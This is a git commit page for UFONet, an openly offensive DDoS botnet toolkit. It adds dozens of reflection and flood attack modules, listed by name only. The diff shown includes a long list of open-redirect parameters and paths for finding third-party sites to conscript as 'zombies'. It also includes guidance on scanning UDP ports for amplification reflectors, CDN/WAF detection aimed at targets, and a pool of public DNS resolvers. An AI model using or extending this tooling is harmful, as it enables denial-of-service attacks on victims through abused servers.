psy 4 днів тому
батько
коміт
d1e7c4d119
100 змінених файлів з 12204 додано та 8627 видалено
  1. 18 15
      .gitattributes
  2. 10 0
      .gitignore
  3. 94 32
      README.md
  4. 1 1
      botnet/aliens.txt
  5. 1 0
      botnet/arms.txt
  6. 1 0
      botnet/chargen.txt
  7. 1 0
      botnet/cldap.txt
  8. 1 0
      botnet/coap.txt
  9. 1 1
      botnet/dns.txt
  10. 188 18
      botnet/dorks.txt
  11. 1 1
      botnet/droids.txt
  12. 0 0
      botnet/humans.txt
  13. 1 0
      botnet/memcached.txt
  14. 1 0
      botnet/middlebox.txt
  15. 1 0
      botnet/mssql.txt
  16. 1 0
      botnet/netbios.txt
  17. 1 1
      botnet/ntp.txt
  18. 1 0
      botnet/plex.txt
  19. 1 0
      botnet/qotd.txt
  20. 1 0
      botnet/ripv1.txt
  21. 1 1
      botnet/rpcs.txt
  22. 1 1
      botnet/snmp.txt
  23. 1 0
      botnet/ssdp.txt
  24. 1 0
      botnet/tftp.txt
  25. 1 1
      botnet/ucavs.txt
  26. 1 0
      botnet/wsdisco.txt
  27. 1 1
      botnet/zombies.txt
  28. 1 1
      core/__init__.py
  29. 73 0
      core/_botnet.py
  30. 125 0
      core/_cdn.py
  31. 78 0
      core/_dns_pool.py
  32. 49 0
      core/_ensure.py
  33. 41 18
      core/ajaxmap.py
  34. 2 5
      core/doll.py
  35. 3 3
      core/herd.py
  36. 7334 7334
      core/js/leaflet/leaflet-src.js
  37. 51 51
      core/js/leaflet/leaflet.ie.css
  38. 1 1
      core/js/treemap.js
  39. 12 2
      core/js/ufo.js
  40. 879 362
      core/main.py
  41. 1 1
      core/mods/__init__.py
  42. 75 0
      core/mods/arms.py
  43. 75 0
      core/mods/chargen.py
  44. 78 0
      core/mods/cldap.py
  45. 77 0
      core/mods/coap.py
  46. 13 13
      core/mods/droper.py
  47. 78 0
      core/mods/finflood.py
  48. 12 9
      core/mods/fraggle.py
  49. 74 0
      core/mods/goldeneye.py
  50. 11 6
      core/mods/loic.py
  51. 16 11
      core/mods/loris.py
  52. 75 0
      core/mods/memcached.py
  53. 85 0
      core/mods/middlebox.py
  54. 10 7
      core/mods/monlist.py
  55. 75 0
      core/mods/mssql.py
  56. 78 0
      core/mods/netbios.py
  57. 4 7
      core/mods/nuke.py
  58. 11 11
      core/mods/overlap.py
  59. 11 11
      core/mods/pinger.py
  60. 75 0
      core/mods/plex.py
  61. 75 0
      core/mods/qotd.py
  62. 107 0
      core/mods/rapidreset.py
  63. 80 0
      core/mods/ripv1.py
  64. 95 0
      core/mods/slowread.py
  65. 12 9
      core/mods/smurf.py
  66. 18 10
      core/mods/sniper.py
  67. 12 9
      core/mods/spray.py
  68. 79 0
      core/mods/ssdp.py
  69. 10 7
      core/mods/tachyon.py
  70. 75 0
      core/mods/tftp.py
  71. 11 11
      core/mods/ufoack.py
  72. 11 11
      core/mods/uforst.py
  73. 11 11
      core/mods/ufosyn.py
  74. 11 11
      core/mods/ufoudp.py
  75. 88 0
      core/mods/wsdisco.py
  76. 11 11
      core/mods/xmas.py
  77. 152 119
      core/options.py
  78. 1 1
      core/randomip.py
  79. 1 1
      core/tools/__init__.py
  80. 3 3
      core/tools/abductor.py
  81. 1 1
      core/tools/blackhole.py
  82. 1 1
      core/tools/crypter.py
  83. 1 1
      core/tools/grider.py
  84. 1 1
      core/tools/inspector.py
  85. 10 7
      core/tools/ufoscan.py
  86. 1 1
      core/txt/model.txt
  87. 107 367
      core/txt/user-agents.txt
  88. 71 0
      core/txt/wafs.txt
  89. 1 1
      core/update.py
  90. 680 101
      core/webgui.py
  91. 7 4
      core/zombie.py
  92. 156 0
      data/board.txt
  93. 234 0
      data/grid.txt
  94. 5 0
      data/links.txt
  95. 66 0
      data/missions.txt
  96. 67 1
      data/news.txt
  97. 0 1
      data/nodes.txt
  98. 8 0
      data/streams.txt
  99. 9 0
      data/tv.txt
  100. 0 0
      data/wargames.txt

+ 18 - 15
.gitattributes

@@ -1,20 +1,23 @@
-*.conf text eol=lf
-*.md text eol=lf
-*.md5 text eol=lf
+* text=auto eol=lf
+
 *.py text eol=lf
-*.xml text eol=lf
+*.sh text eol=lf
+*.js text eol=lf
+*.css text eol=lf
+*.html text eol=lf
+*.md text eol=lf
+*.txt text eol=lf
+*.json text eol=lf
 LICENSE text eol=lf
 COMMITMENT text eol=lf
+AUTHOR text eol=lf
+VERSION text eol=lf
 
-*_ binary
-*.dll binary
-*.pdf binary
-*.so binary
-*.wav binary
+*.dat binary
+*.png binary
+*.jpg binary
+*.gif binary
+*.ico binary
+*.gz binary
+*.tar binary
 *.zip binary
-*.x32 binary
-*.x64 binary
-*.exe binary
-*.sln binary
-*.vcproj binary
-

+ 10 - 0
.gitignore

@@ -1,2 +1,12 @@
 __pycache__/
 *.py[cod]
+*.swp
+*.swo
+*~
+.DS_Store
+*.tmp
+*.log
+test/results/
+core/json/
+core/txt/shipname.txt
+release/

+ 94 - 32
README.md

@@ -1,4 +1,4 @@
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-welcome_small.png "UFONet Welcome")
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui.png "UFONet Welcome")
 
 ----------
 
@@ -38,10 +38,10 @@ on a direct-connect P2P architecture.
      https://en.wikipedia.org/wiki/Fraggle_attack
 
    - UFORST: 
-     https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+     https://en.wikipedia.org/wiki/TCP_reset_attack
 
    - SPRAY: 
-     https://en.wikipedia.org/wiki/DRDOS
+     https://en.wikipedia.org/wiki/Denial-of-service_attack#Reflected_attack
 
    - SMURF: 
      https://en.wikipedia.org/wiki/Smurf_attack
@@ -53,30 +53,82 @@ on a direct-connect P2P architecture.
      https://en.wikipedia.org/wiki/IP_fragmentation_attack
 
    - SNIPER: 
-     https://www.imperva.com/learn/application-security/snmp-reflection/
+     https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
 
    - TACHYON: 
-     https://www.us-cert.gov/ncas/alerts/TA13-088A
+     https://en.wikipedia.org/wiki/DNS_amplification_attack
 
    - PINGER: 
-     https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+     https://en.wikipedia.org/wiki/Ping_flood
 
    - MONLIST: 
-     https://www.us-cert.gov/ncas/alerts/TA14-013A
+     https://en.wikipedia.org/wiki/NTP_server_misuse_and_abuse
 
    - UFOACK: 
-     https://www.f5.com/services/resources/glossary/push-and-ack-flood
+     https://en.wikipedia.org/wiki/Denial-of-service_attack
 
    - OVERLAP: 
-     https://cyberhoot.com/cybrary/fragment-overlap-attack/
+     https://en.wikipedia.org/wiki/IP_fragmentation_attack#Overlapping_fragment_attack
 
    - UFOUDP: 
      https://en.wikipedia.org/wiki/UDP_flood_attack
 
    - NUKE: 
-     https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+     https://en.wikipedia.org/wiki/Sockstress
 
-----------
+   - MEMCACHED:
+     https://en.wikipedia.org/wiki/Memcached
+
+   - CHARGEN:
+     https://en.wikipedia.org/wiki/Character_Generator_Protocol
+
+   - CLDAP:
+     https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol
+
+   - SSDP:
+     https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
+
+   - QOTD:
+     https://en.wikipedia.org/wiki/QOTD
+
+   - TFTP:
+     https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol
+
+   - WSDISCO:
+     https://en.wikipedia.org/wiki/WS-Discovery
+
+   - COAP:
+     https://en.wikipedia.org/wiki/Constrained_Application_Protocol
+
+   - MSSQL:
+     https://en.wikipedia.org/wiki/Microsoft_SQL_Server
+
+   - ARMS:
+     https://en.wikipedia.org/wiki/Apple_Remote_Desktop
+
+   - PLEX:
+     https://en.wikipedia.org/wiki/Plex_(software)
+
+   - NETBIOS:
+     https://en.wikipedia.org/wiki/NetBIOS
+
+   - RIPV1:
+     https://en.wikipedia.org/wiki/Routing_Information_Protocol
+
+   - MIDDLEBOX:
+     https://en.wikipedia.org/wiki/Network_middlebox
+
+   - RAPIDRESET:
+     https://en.wikipedia.org/wiki/HTTP/2
+
+   - SLOWREAD:
+     https://en.wikipedia.org/wiki/Slowloris_(software)
+
+   - GOLDENEYE:
+     https://en.wikipedia.org/wiki/Denial-of-service_attack#Application-layer_attacks
+
+   - FINFLOOD:
+     https://en.wikipedia.org/wiki/Transmission_Control_Protocol#Connection_termination
 
 #### Installing:
 
@@ -88,10 +140,16 @@ on a direct-connect P2P architecture.
 
   For manual installation, run:
 
-       sudo apt-get install -y --no-install-recommends libpython3.11-dev python3-pycurl python3-geoip python3-whois python3-cryptography python3-requests libgeoip1 libgeoip-dev
-       python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore
-       python3 -m pip install pycurl --upgrade --root-user-action=ignore
-       python3 -m pip install GeoIP python-geoip pygeoip requests whois scapy pycryptodomex duckduckgo-search --ignore-installed --root-user-action=ignore
+       sudo apt-get install -y --no-install-recommends libpython3.12-dev python3-pycurl python3-geoip python3-whois python3-requests libgeoip1 libgeoip-dev
+       python3 -m pip install --upgrade pip --no-warn-script-location --root-user-action=ignore --break-system-packages
+       python3 -m pip install pycurl --upgrade --root-user-action=ignore --break-system-packages
+       python3 -m pip install pygeoip requests urllib3 whois scapy pycryptodomex duckduckgo-search dnspython certifi --ignore-installed --root-user-action=ignore --break-system-packages
+
+  If any lib is missing at runtime, UFONet 2.0 will try to auto-install it using pip.
+
+  To run the test suite at any time:
+
+       python3 ufonet --test-ufonet
 
 ----------
 
@@ -104,23 +162,27 @@ in the [LICENSE](./docs/LICENSE) file.
 
 ####  Screenshots (current version!):
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-phantom-shell-1.png "UFONet Shell Version")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-phantom-shell-2.png "UFONet Shell Board")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-phantom-shell-3.png "UFONet GUI Shell")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-phantom-main_small.png "UFONet GUI Main Panel")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-kraken-help_small.png "UFONet GUI Help")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-phantom-botnet.png "UFONet GUI Botnet")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-kraken-stats.png "UFONet GUI General Stats")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-ranking_small.png "UFONet GUI Ranking")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-kraken-attack.png "UFONet GUI Attack")
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-tools-1.png "UFONet Tools 1")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-tools-2.png "UFONet Tools 2")
+  
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-shell.png "UFONet GUI Shell")
+   
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-tools-2.png "UFONet Tools 2")
+      
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-available-engines.png "UFONet Engines")
+  
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-init.png "UFONet GUI Init")
+  
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-help.png "UFONet GUI Help")
+  
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-board.png "UFONet GUI Board")
+  
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-botnet.png "UFONet GUI Botnet")
+               
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-stats.png "UFONet GUI Stats")
+
+  ![UFONet](https://ufonet.03c8.net/ufonet/r3dst4r/ufonet-gui-attack.png "UFONet GUI Attack")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-kraken-board_small.png "UFONet GUI Board")
 

+ 1 - 1
botnet/aliens.txt

@@ -1 +1 @@
-https://isitdown.me/check_domain.php;$POST;domain
+<TBD:dork-POST-open-redirect>

+ 1 - 0
botnet/arms.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-3283>

+ 1 - 0
botnet/chargen.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-19>

+ 1 - 0
botnet/cldap.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-389>

+ 1 - 0
botnet/coap.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-5683>

+ 1 - 1
botnet/dns.txt

@@ -1 +1 @@
-194.150.168.168
+<TBD:open-resolver-udp-53>

+ 188 - 18
botnet/dorks.txt

@@ -108,48 +108,33 @@ home_url=
 x-urlpath=
 urlforward.aspx?Redir=
 /url/
-page=
-url=
 ret=
 r2=
 img=
 u=
-return=
 r=
 URL=
 next=
-redirect=
 redirectBack=
 AuthState=
-referer=
-redir=
 l=
 aspxerrorpath=
 image_path=
 ActionCodeURL=
-return_url=
-link=
 q=
-location=
 ReturnUrl=
-uri=
 referrer=
 returnUrl=
-forward=
 file=
 rb=
 end_display=
 urlact=
-from=
-goto=
 path=
-redirect_url=
 old=
 pathlocation=
 successTarget=
 returnURL=
 urlsito=
-newurl=
 Url=
 back=
 retour=
@@ -160,7 +145,6 @@ H_name=
 ref=
 topic=
 resource=
-returnTo=
 home=
 node=
 sUrl=
@@ -185,12 +169,10 @@ logoutRedirectURL=
 list=
 startUrl=
 service=
-redirect_to=
 end_url=
 _next=
 noSuchEntryRedirect=
 context=
-returnurl=
 ref_url=
 /?page=
 /index.php?ret=
@@ -292,3 +274,191 @@ ref_url=
 /redirect.php?sUrl=
 /redirect?url=
 /url?url=
+?next=
+&next=
+?continue=
+&continue=
+?return_to=
+&return_to=
+?target_url=
+&target_url=
+?destination=
+&destination=
+?dest=
+&dest=
+?backTo=
+&backTo=
+?back_url=
+&back_url=
+?backurl=
+&backurl=
+?back=
+&back=
+?goback=
+&goback=
+?successUrl=
+&successUrl=
+?success_url=
+&success_url=
+?failureUrl=
+&failureUrl=
+?failure_url=
+&failure_url=
+?errorUrl=
+&errorUrl=
+?error_url=
+&error_url=
+?cancelUrl=
+&cancelUrl=
+?cancel_url=
+&cancel_url=
+?logout_redirect=
+&logout_redirect=
+?post_logout_redirect_uri=
+&post_logout_redirect_uri=
+?login_redirect=
+&login_redirect=
+?logoutRedirect=
+&logoutRedirect=
+?callbackUrl=
+&callbackUrl=
+?callback_url=
+&callback_url=
+?openid_return_to=
+&openid_return_to=
+?SAMLRequest=
+&SAMLRequest=
+?relayState=
+&relayState=
+?RelayState=
+&RelayState=
+?service=
+&service=
+?from=
+&from=
+?to=
+&to=
+?ref=
+&ref=
+?ref_url=
+&ref_url=
+?refUrl=
+&refUrl=
+?path=
+&path=
+?_redir=
+&_redir=
+?_returnTo=
+&_returnTo=
+?utm_url=
+&utm_url=
+?landing=
+&landing=
+?lp=
+&lp=
+?goto=
+&goto=
+?navUrl=
+&navUrl=
+?jumpto=
+&jumpto=
+?jump=
+&jump=
+?clickurl=
+&clickurl=
+?click_url=
+&click_url=
+?image_url=
+&image_url=
+?fileurl=
+&fileurl=
+?docurl=
+&docurl=
+?endpoint=
+&endpoint=
+/wp-login.php?redirect_to=
+/wp-admin/?redirect_to=
+/_layouts/15/Authenticate.aspx?Source=
+/_layouts/Authenticate.aspx?Source=
+/_layouts/SignOut.aspx?ReturnUrl=
+/Account/LogIn?ReturnUrl=
+/Account/Login?ReturnUrl=
+/account/login?next=
+/account/logout?next=
+/sso/login?service=
+/cas/login?service=
+/login?from=
+/login?next=
+/login?return=
+/login?returnUrl=
+/login?redirect=
+/login?service=
+/openid/return?return_to=
+/oauth/authorize?redirect_uri=
+/oauth2/authorize?redirect_uri=
+/auth/realms/master/protocol/openid-connect/auth?redirect_uri=
+/protocol/openid-connect/auth?redirect_uri=
+/idp/profile/SAML2/Redirect/SSO?RelayState=
+/saml/login?RelayState=
+/saml/return?RelayState=
+/connect/authorize?redirect_uri=
+/connect/endsession?post_logout_redirect_uri=
+/r/?url=
+/r?url=
+/r/?u=
+/r?u=
+/go/?url=
+/go?url=
+/go/?u=
+/go?u=
+/track/click?url=
+/track?url=
+/track/r?url=
+/click?url=
+/click/?url=
+/cl/?url=
+/cl?url=
+/link?url=
+/link/?url=
+/redir/?url=
+/redirect/?to=
+/redirect?to=
+/redirect2?url=
+/redirector?url=
+/external?url=
+/exit?url=
+/exit/?url=
+/leave?url=
+/leaving?url=
+/away?url=
+/out/?url=
+/notify?url=
+/notice?url=
+/jumper?url=
+/jumper/?url=
+/leaving_site?url=
+/exit_site?url=
+/imageproxy?url=
+/image-proxy?url=
+/img-proxy?url=
+/img_proxy?url=
+/imgproxy/?url=
+/proxy/image?url=
+/static-proxy?url=
+/cdn-cgi/proxy?url=
+?continueUrl=
+&continueUrl=
+?continue_url=
+&continue_url=
+?prev=
+&prev=
+?source=
+&source=
+?src=
+&src=
+?orig_url=
+&orig_url=
+?orig=
+&orig=
+?origin=
+&origin=

+ 1 - 1
botnet/droids.txt

@@ -1 +1 @@
-https://validator.w3.org/check?uri=$TARGET&charset=%28detect+automatically%29&doctype=Inline&group=0&verbose=1
+<TBD:dork-validator?uri=>

+ 0 - 0
botnet/humans.txt


+ 1 - 0
botnet/memcached.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-11211>

+ 1 - 0
botnet/middlebox.txt

@@ -0,0 +1 @@
+<TBD:scan-tcp-80-middlebox>

+ 1 - 0
botnet/mssql.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-1434>

+ 1 - 0
botnet/netbios.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-137>

+ 1 - 1
botnet/ntp.txt

@@ -1 +1 @@
-185.144.161.170
+<TBD:scan-udp-123-monlist>

+ 1 - 0
botnet/plex.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-32414>

+ 1 - 0
botnet/qotd.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-17>

+ 1 - 0
botnet/ripv1.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-520>

+ 1 - 1
botnet/rpcs.txt

@@ -1 +1 @@
-https://sifat.org/xmlrpc.php
+<TBD:dork-xmlrpc.php>

+ 1 - 1
botnet/snmp.txt

@@ -1 +1 @@
-91.209.18.121
+<TBD:scan-udp-161-public>

+ 1 - 0
botnet/ssdp.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-1900>

+ 1 - 0
botnet/tftp.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-69>

+ 1 - 1
botnet/ucavs.txt

@@ -1 +1 @@
-https://www.isitdownrightnow.com/check.php?domain=
+<TBD:url-checker-service>

+ 1 - 0
botnet/wsdisco.txt

@@ -0,0 +1 @@
+<TBD:scan-udp-3702>

+ 1 - 1
botnet/zombies.txt

@@ -1 +1 @@
-https://validator.w3.org/checklink?uri=
+<TBD:dork-page.php?url=>

+ 1 - 1
core/__init__.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51

+ 73 - 0
core/_botnet.py

@@ -0,0 +1,73 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import ipaddress, os
+
+PLACEHOLDER_NETS = [
+    ipaddress.ip_network("203.0.113.0/24"),
+    ipaddress.ip_network("192.0.2.0/24"),
+    ipaddress.ip_network("198.51.100.0/24"),
+]
+
+def is_placeholder(entry):
+    s = entry.strip()
+    if not s:
+        return True
+    if s.startswith('<TBD:') and s.endswith('>'):
+        return True
+    if s.startswith(('http://', 'https://')):
+        from urllib.parse import urlparse
+        host = urlparse(s).hostname or ''
+    else:
+        host = s.split(':', 1)[0].split('/', 1)[0]
+    try:
+        ip = ipaddress.ip_address(host)
+    except ValueError:
+        return False
+    for net in PLACEHOLDER_NETS:
+        if ip in net:
+            return True
+    return False
+
+def load_botnet_file(path):
+    if not os.path.exists(path):
+        return [], False, False
+    with open(path, encoding='utf-8', errors='replace') as f:
+        entries = [l.strip() for l in f.readlines() if l.strip()]
+    if not entries:
+        return [], True, False
+    all_placeholder = all(is_placeholder(e) for e in entries)
+    return entries, False, all_placeholder
+
+GUIDANCE = {
+    "open-redirect": "Find real 'zombies' via dorking: ./ufonet -s 'page.php?url='  (or --auto-search / --sd botnet/dorks.txt)",
+    "dns":           "Use any public open DNS resolver (1.1.1.1, 8.8.8.8) or a known recursive server in your scope.",
+    "ntp":           "Use pool.ntp.org, time.cloudflare.com, time.google.com, or a misconfigured NTPv2 server in your scope.",
+    "snmp":          "Scan UDP/161 in your authorized scope (community='public'). Dorking will NOT find these.",
+    "memcached":     "Scan UDP/11211 in your authorized scope (e.g. masscan/zmap). Dorking will NOT find these.",
+    "cldap":         "Scan UDP/389 in your authorized scope (Active Directory hosts replying to anonymous searchRequest). Dorking will NOT find these.",
+    "ssdp":          "Scan UDP/1900 in your authorized scope (UPnP-exposed routers). Dorking will NOT find these.",
+    "chargen":       "Extremely rare today. Scan UDP/19 in your authorized scope. Dorking will NOT find these.",
+    "qotd":          "Extremely rare today. Scan UDP/17 in your scope. Dorking will NOT find these.",
+    "tftp":          "Scan UDP/69 in your authorized scope. Dorking will NOT find these.",
+    "wsdisco":       "Scan UDP/3702 in your scope (printers, IP cameras). Dorking will NOT find these.",
+    "coap":          "Scan UDP/5683 in your scope (IoT). Dorking will NOT find these.",
+    "mssql":         "Scan UDP/1434 in your scope (SQL Server browser). Dorking will NOT find these.",
+    "arms":          "Scan UDP/3283 in your scope (Apple Remote Desktop). Dorking will NOT find these.",
+    "plex":          "Scan UDP/32414 in your scope (Plex GDM). Dorking will NOT find these.",
+    "netbios":       "Scan UDP/137 in your scope. Dorking will NOT find these.",
+    "ripv1":         "Scan UDP/520 in your scope (legacy router). Dorking will NOT find these.",
+    "middlebox":     "Identify censorship middleboxes via probing (CN/IR/RU/etc.). See the Geneva paper. Dorking will NOT find these.",
+    "reflector":     "Populate with real reflectors from your authorized scope. Dorking does NOT usually find these protocols.",
+}
+
+def warn_placeholders(label, file_path, kind="reflector"):
+    print("[Info] [AI] [" + label + "] No real entries in botnet/" + os.path.basename(file_path) + " -> [Skipping]")

+ 125 - 0
core/_cdn.py

@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import re, ssl, urllib.request, urllib.error
+from urllib.parse import urlparse
+
+CDN_HEADER_SIGNATURES = {
+    'Cloudflare': [
+        ('server', re.compile(r'cloudflare', re.I)),
+        ('cf-ray', None),
+        ('cf-cache-status', None),
+        ('cf-connecting-ip', None),
+    ],
+    'Akamai': [
+        ('server', re.compile(r'AkamaiGHost|AkamaiNetStorage', re.I)),
+        ('x-akamai-request-id', None),
+        ('x-akamai-transformed', None),
+        ('x-akamai-staging', None),
+    ],
+    'AWS CloudFront': [
+        ('via', re.compile(r'CloudFront', re.I)),
+        ('x-amz-cf-id', None),
+        ('x-amz-cf-pop', None),
+    ],
+    'Fastly': [
+        ('via', re.compile(r'\bfastly\b', re.I)),
+        ('x-served-by', re.compile(r'cache-', re.I)),
+        ('x-fastly-request-id', None),
+        ('fastly-debug-digest', None),
+    ],
+    'Sucuri': [
+        ('server', re.compile(r'Sucuri', re.I)),
+        ('x-sucuri-id', None),
+        ('x-sucuri-cache', None),
+    ],
+    'Imperva (Incapsula)': [
+        ('x-iinfo', None),
+        ('x-cdn', re.compile(r'incapsula|imperva', re.I)),
+        ('server', re.compile(r'incapsula', re.I)),
+    ],
+    'Google Cloud / GFE': [
+        ('via', re.compile(r'\bGoogle\b', re.I)),
+        ('server', re.compile(r'\bGFE/', re.I)),
+    ],
+    'Microsoft Azure': [
+        ('x-azure-ref', None),
+        ('x-msedge-ref', None),
+    ],
+    'KeyCDN': [
+        ('server', re.compile(r'KeyCDN', re.I)),
+        ('x-edge-location', None),
+    ],
+    'StackPath / MaxCDN': [
+        ('server', re.compile(r'StackPath|MaxCDN|NetDNA', re.I)),
+        ('x-hw', None),
+    ],
+    'Bunny.net': [
+        ('server', re.compile(r'BunnyCDN', re.I)),
+        ('cdn-pullzone', None),
+    ],
+    'CDN77': [
+        ('server', re.compile(r'CDN77', re.I)),
+    ],
+    'OVH / EdgeCDN': [
+        ('server', re.compile(r'OVH', re.I)),
+        ('x-iplb-instance', None),
+    ],
+    'Section.io': [
+        ('x-section-cache', None),
+    ],
+    'Reblaze': [
+        ('server', re.compile(r'rbzid|reblaze', re.I)),
+    ],
+    'F5 BIG-IP': [
+        ('server', re.compile(r'BigIP|BIG-IP', re.I)),
+    ],
+    'Varnish (front)': [
+        ('via', re.compile(r'varnish', re.I)),
+        ('x-varnish', None),
+    ],
+}
+
+def detect_cdn(target, timeout=8, verify=False):
+    """Return (cdn_name, evidence_header) if target appears behind a CDN/WAF; (None, None) otherwise."""
+    if not target:
+        return (None, None)
+    if '://' not in target:
+        target = 'http://' + target
+    parsed = urlparse(target)
+    url = parsed.scheme + '://' + parsed.netloc + '/'
+    ctx = ssl.create_default_context()
+    if not verify:
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+    headers = {}
+    try:
+        req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0 UFONet-CDNcheck'}, method='HEAD')
+        resp = urllib.request.urlopen(req, timeout=timeout, context=ctx)
+        for k, v in resp.headers.items():
+            headers[k.lower()] = v
+    except urllib.error.HTTPError as e:
+        try:
+            for k, v in e.headers.items():
+                headers[k.lower()] = v
+        except Exception:
+            pass
+    except Exception:
+        return (None, None)
+    for cdn, sigs in CDN_HEADER_SIGNATURES.items():
+        for hname, pat in sigs:
+            if hname in headers:
+                val = headers[hname]
+                if pat is None:
+                    return (cdn, hname + ': ' + str(val)[:80])
+                if pat.search(str(val)):
+                    return (cdn, hname + ': ' + str(val)[:80])
+    return (None, None)

+ 78 - 0
core/_dns_pool.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import random
+
+PUBLIC_DNS_RESOLVERS = [
+    "8.8.8.8", "8.8.4.4",
+    "1.1.1.1", "1.0.0.1",
+    "1.1.1.2", "1.0.0.2",
+    "1.1.1.3", "1.0.0.3",
+    "208.67.222.222", "208.67.220.220",
+    "208.67.222.123", "208.67.220.123",
+    "9.9.9.9", "149.112.112.112",
+    "9.9.9.10", "149.112.112.10",
+    "94.140.14.14", "94.140.15.15",
+    "94.140.14.15", "94.140.15.16",
+    "94.140.14.140", "94.140.14.141",
+    "185.228.168.9", "185.228.169.9",
+    "185.228.168.168", "185.228.169.168",
+    "185.228.168.10", "185.228.169.11",
+    "77.88.8.8", "77.88.8.1",
+    "77.88.8.88", "77.88.8.2",
+    "77.88.8.7", "77.88.8.3",
+    "84.200.69.80", "84.200.70.40",
+    "8.26.56.26", "8.20.247.20",
+    "64.6.64.6", "64.6.65.6",
+    "76.76.2.0", "76.76.10.0",
+    "76.76.2.1", "76.76.10.1",
+    "76.76.2.2", "76.76.10.2",
+    "76.76.2.3", "76.76.10.3",
+    "76.76.2.4", "76.76.10.4",
+    "45.90.28.0", "45.90.30.0",
+    "194.242.2.2", "194.242.2.3",
+    "194.242.2.4", "194.242.2.5",
+    "193.110.81.0", "185.253.5.0",
+    "193.110.81.9", "185.253.5.9",
+    "193.110.81.1", "185.253.5.1",
+    "74.82.42.42",
+    "158.64.1.29",
+    "78.47.64.161",
+    "89.233.43.71", "91.239.100.100",
+    "116.203.225.86",
+    "146.255.56.98",
+    "159.69.198.101",
+    "108.61.201.119",
+    "95.216.211.211",
+    "216.146.35.35", "216.146.36.36",
+    "51.158.108.203",
+    "95.216.165.235",
+]
+
+OPENDNS_RESOLVERS = [
+    "208.67.222.222", "208.67.220.220",
+    "208.67.222.123", "208.67.220.123",
+]
+
+DUMMY_ROUTABLE_HOSTS = [
+    "8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222",
+    "8.8.4.4", "1.0.0.1", "149.112.112.112",
+]
+
+def random_resolvers(n=2):
+    n = max(1, min(n, len(PUBLIC_DNS_RESOLVERS)))
+    return random.sample(PUBLIC_DNS_RESOLVERS, n)
+
+def random_opendns():
+    return random.sample(OPENDNS_RESOLVERS, min(2, len(OPENDNS_RESOLVERS)))
+
+def random_dummy_host():
+    return random.choice(DUMMY_ROUTABLE_HOSTS)

+ 49 - 0
core/_ensure.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
